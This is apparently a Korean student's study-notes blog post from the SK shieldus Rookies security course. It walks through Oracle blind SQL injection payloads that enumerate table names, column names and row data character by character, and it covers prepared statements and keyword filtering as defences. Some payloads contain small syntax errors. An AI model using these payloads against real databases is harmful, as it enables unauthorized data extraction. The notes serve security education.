본문 바로가기
SK shieldus Rookies 16기

[SK shieldus Rookies 16기] 클라우드 기반 스마트 융합 보안 과정 교육 정리(62일차)

by Challenge programmers 2024. 1. 31.

오늘 학습 주제

1. SQL Injection

2. 취약한 시큐어 코딩

 

 

SQL Injection


- Blind SQL Injection -

조건문의 결과 중 원하는 위치의 값 하나가 ASCII 값과 대소비교를 통해 정확한 값을 찾아내는 공격 논리형 결과로 데이터 확인

 

 

- 절차 -

[테이블 개수 확인]and (select count(table_name) from all_tables) > 106--테이블의 정확한 수가 나올때까지 대소비교

 

[테이블 명 추출]and ascii(substr(select table_name from (select table_name, rownum as rnum from all_tables) where rnum=60)1, 1)) > 75--원하는 테이블의 이름을 찾을 때까지 숫자를 변경해가며 테이블 명 확인(반복)

 

[칼럼 개수 확인]

and (select count(column_name) from all_tab_columns where table_name =테이블 이름) > 11--

테이블의 칼럼 개수가 나올때까지 대소비교

 

[칼럼 명 추출]

and ascii(substr(select column_name from

(select column_name, rownum as rnum from all_tab_columns where table_name = 테이블이름)

where rnum=60)1, 1)) > 75--

원하는 칼럼의 이름을 찾을 때까지 숫자를 변경해가며 정보 추출 

 

[데이터 개수 확인]

and (select count(칼럼명) from 테이블이름) > 26--

데이터의 수(rows)를 확인

 

[칼럼 명 추출]

and ascii(substr((select 칼럼명 from (select 칼럼명, rownum as rnum from 테이블명)

where rnum = 1),1,1))>49--

실제 데이터의 값을 찾을 때까지 숫자를 변경해가며 데이터 추출(반복)

 

 

- 대응 -

Prepared Statement 구문을 통해 문자열이 SQL 쿼리로 실행되지 않도록 조치하는 것만으로도

SQL Injection의 난이도는 증가

 

 

 

 

취약한 시큐어 코딩


- Prepared Statement -

우리가 입력한 쿼리는 DBMS 내부적으로 4가지 과정(Parse, Bind, Execut, Fetch)를 거쳐 실행

 

Preared Statement으로는 

바인딩을 하지 않거나 정렬 기능일 경우 막을 수 없으니

필터링 기능을 사용해야 한다(예약어)